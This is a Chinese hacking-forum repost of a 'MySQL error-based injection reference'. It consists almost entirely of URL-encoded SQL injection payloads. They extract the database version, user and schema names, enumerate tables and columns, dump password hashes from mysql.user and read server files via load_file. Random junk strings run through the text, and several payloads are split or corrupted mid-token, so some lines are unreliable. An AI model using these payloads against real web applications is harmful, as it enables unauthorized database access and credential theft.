中国网络渗透测试联盟
标题:
Mysql暴错注入参考（pdf）
[打印本页]
作者:
admin
时间:
2013-7-27 11:00
标题:
Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
; g+ E: _7 N6 G. f, ^' h# x
. h$ `7 h( p; }) k& i \
4 v3 T0 `: K C
Mysql暴错注入参考（pdf），每天一贴。。。
8 D8 P% G, ]2 B! q/ d8 ]+ M8 R m* U
3 i. E8 A5 G) C, e) \
MySql Error Based Injection Reference
8 L7 o" j) J+ \, r2 C5 {8 o
[Mysql暴错注入参考]
: y6 l1 m k8 E: i1 K
Authornig0s1992
. Y1 r6 V; d! y
Blog:
http://pnig0s1992.blog.51cto.com/
. F/ ?4 i2 s# L j
TeAm:
http://www.FreeBuf.com/
1 i3 z7 P. m- _8 h
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
' }7 Y A2 A5 T" S
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
* B2 x& f& \, a& l0 F8 i
查询版本:
, }& y; h& }% D7 ]; ~
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
! U$ Z3 W1 k) x5 g S4 D8 F
join+(select+name_const(@@version,0))b)c)
- X. u) F) L& ]% v% B) {
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
3 \3 }+ `6 {6 e+ G6 C
up by a)b)
! ~+ v" V. l) }7 K6 ?& n
查询当前用户:
) M" w' A1 o$ W
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
2 {, q' }8 z* k8 Y
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
" u1 v# S, h8 a" V# m" N
and(0)*2))x+from+information_schema.tables+group+by+x)a)
8 } K3 Z# l% H! ~% N# l* _" v
查询当前数据库:
+ \% A8 q, A0 z' `6 f/ Q2 A* Z
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
6 q n( s1 k$ E" T/ \
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
$ ~) A- g# F% |4 G0 z6 \6 s
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ y1 g" ~# P1 }; T' @4 {/ `
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
% l1 N" m3 p P7 X- }4 H, r
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
8 _8 z" |. `' O3 N. B9 d. y Y& ?) ]
顺序替换
* g5 ?" _( y- n" _! K* V' D9 p" X! m. h
爆指定库数目:
, N( h+ m; u4 Y. D
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
' E& N/ C/ ?' }/ t, o( D9 {
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
) O. ?, m* k+ V4 A/ f! ^
+by+x)a)+and+1=1 0x6D7973716C=mysql
) }- F+ }$ H- n! v) M9 s0 `
依次爆表:
: S( q9 N* q4 x/ n2 U5 c5 G7 E2 E, n( k W
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
+ |! A2 p1 J9 [6 m7 u6 g& k
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
. M& G- M3 E7 E* b3 y5 Q4 k; A
bles+group+by+x)a)+and+1=1
% B: k5 t4 O7 L/ i& ?
0x6D7973716C=Mysql 将n顺序替换
4 Y8 h& e1 q$ W; q
爆表内字段数目:
5 l, @1 `7 @6 X% _) V' S8 n
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
0 ~' |8 P- Q* B9 s) j$ g& C* |
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
. G4 o1 j) s' e) x( J3 ^
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
[ P$ s. I% p; A* M m7 D
依次爆字段:
" U# j6 Q5 ~5 q/ u+ y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
( Q( {/ V9 Q# f
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
' r$ x; v% Q- l- l/ j* w) q n
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
* v4 M& _: D1 }8 E
依次暴内容:
0 T6 @6 V& w3 b0 [3 k, d/ I! }, q
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
8 m& Q/ x& m, M$ `3 y2 F
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
" b7 H# r) K1 E! R
将n顺序替换
/ _; W. y0 [4 _( |9 K
爆文件内容:
8 b# i: l) W$ X: W! t5 H
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
, R0 b9 `7 a# Q9 t) D9 I
from+information_schema.tables+group+by+a)b)
3 n+ g/ G% H# K: E
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
: K5 i6 V8 g4 t: j- x0 ^* |
Thx for reading.
+ M2 n, ?6 P5 i0 y$ L* @
3 B, s- A1 x# Z3 ?6 r2 O* x' D. a
不要下载也可以，
, I- C! T- Q" I. M; a4 e) H" o
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2